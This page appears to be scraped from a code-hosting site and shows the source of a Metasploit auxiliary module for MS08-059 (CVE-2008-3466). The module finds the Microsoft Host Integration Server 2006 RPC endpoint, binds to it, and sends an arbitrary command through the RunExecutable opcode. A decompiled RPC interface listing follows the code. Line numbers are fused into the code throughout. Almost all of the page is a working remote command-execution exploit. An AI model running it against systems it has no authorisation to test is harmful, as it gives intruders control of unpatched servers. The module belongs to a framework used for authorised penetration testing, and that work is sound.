Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/ms/ms08_059_his2006.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::DCERPC78def initialize(info = {})9super(update_info(info,10'Name' => 'Microsoft Host Integration Server 2006 Command Execution Vulnerability',11'Description' => %q{12This module exploits a command-injection vulnerability in Microsoft Host Integration Server 2006.13},14'DefaultOptions' =>15{16'DCERPC::ReadTimeout' => 300 # Long-running RPC calls17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'MSB', 'MS08-059' ],23[ 'CVE', '2008-3466' ],24[ 'OSVDB', '49068' ],25[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=745' ],26],27'DisclosureDate' => '2008-10-14'))2829register_options(30[31Opt::RPORT(0),32OptString.new('COMMAND', [ true, 'The command to execute', 'cmd.exe']),33OptString.new('ARGS', [ true, 'The arguments to the command', '/c echo metasploit > metasploit.txt'])34])35end3637def run3839dport = datastore['RPORT'].to_i4041if (dport != 0)42print_status("Could not use automatic target when the remote port is given");43return44end4546if (dport == 0)4748dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], 'ed6ee250-e0d1-11cf-925a-00aa00c006c1', '1.0', 'ncacn_ip_tcp')49dport ||= dcerpc_endpoint_find_tcp(datastore['RHOST'], 'ed6ee250-e0d1-11cf-925a-00aa00c006c1', '1.1', 'ncacn_ip_tcp')5051if (not dport)52print_status("Could not determine the RPC port used by the Service.")53return54end5556print_status("Discovered Host Integration Server RPC service on port #{dport}")57end5859connect(true, { 'RPORT' => dport })6061dcerpc_handle('ed6ee250-e0d1-11cf-925a-00aa00c006c1', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])62print_status("Binding to #{handle} ...")6364dcerpc_bind(handle)65print_status("Bound to #{handle} ...")6667cmd = NDR.string("#{datastore['COMMAND']}") + NDR.string("#{datastore['ARGS']}")6869print_status("Sending command: #{datastore['COMMAND']} #{datastore['ARGS']}")7071begin72dcerpc_call(0x01, cmd)73rescue Rex::Proto::DCERPC::Exceptions::NoResponse74end7576disconnect7778end79end8081=begin82/*83* IDL code generated by mIDA v1.0.884* Copyright (C) 2006, Tenable Network Security85* http://cgi.tenablesecurity.com/tenable/mida.php86*87*88* Decompilation information:89* RPC stub type: inline90*/9192[93uuid(ed6ee250-e0d1-11cf-925a-00aa00c006c1),94version(1.1)95]9697interface mIDA_interface98{99100unknown _SnaRpcService_PingServer (101);102103104/* opcode: 0x01, address: 0x01002CBB */105106small _SnaRpcService_RunExecutable (107[in][string] char arg_1,108[in][string] char arg_2109);110111/* opcode: 0x02, address: 0x01002F0B */112113long _SnaRpcService_CallRemoteDll (114[in] long arg_1,115[in][size_is(arg_1)] byte arg_2[],116[in] long arg_3,117[in][size_is(arg_1)] byte arg_4[]118);119120unknown _SnaRpcService_GetInstalledDrives (121);122123unknown _SnaRpcService_ServiceTableUpdate (124);125126127/* opcode: 0x05, address: 0x0100363C */128129long _SnaRpcService_GetWindowsVersion (130[in] long arg_1,131[in, out][size_is(arg_1)] byte arg_2[]132);133134135/* opcode: 0x06, address: 0x01003942 */136137small _SnaRpcService_RunExecutableEx (138[in][string] char arg_1,139[in][string] char arg_2,140[in][string] char arg_3141);142143144/* opcode: 0x07, address: 0x01003BAB */145146long _SnaRpcService_GetDLCMediaType (147[in][string] char arg_1,148[out][ref] long * arg_2149);150151152/* opcode: 0x08, address: 0x01003E29 */153154small _SnaRpcService_UserHasAccess (155[in] long arg_1156);157158159/* opcode: 0x09, address: 0x01004061 */160161small _SnaRpcService_ConfigureHisService (162[in][string] char arg_1163);164165166/* opcode: 0x0A, address: 0x01004272 */167168small _SnaRpcService_ConfigureServiceAccount (169[in][string] char arg_1170);171172}173=end174175176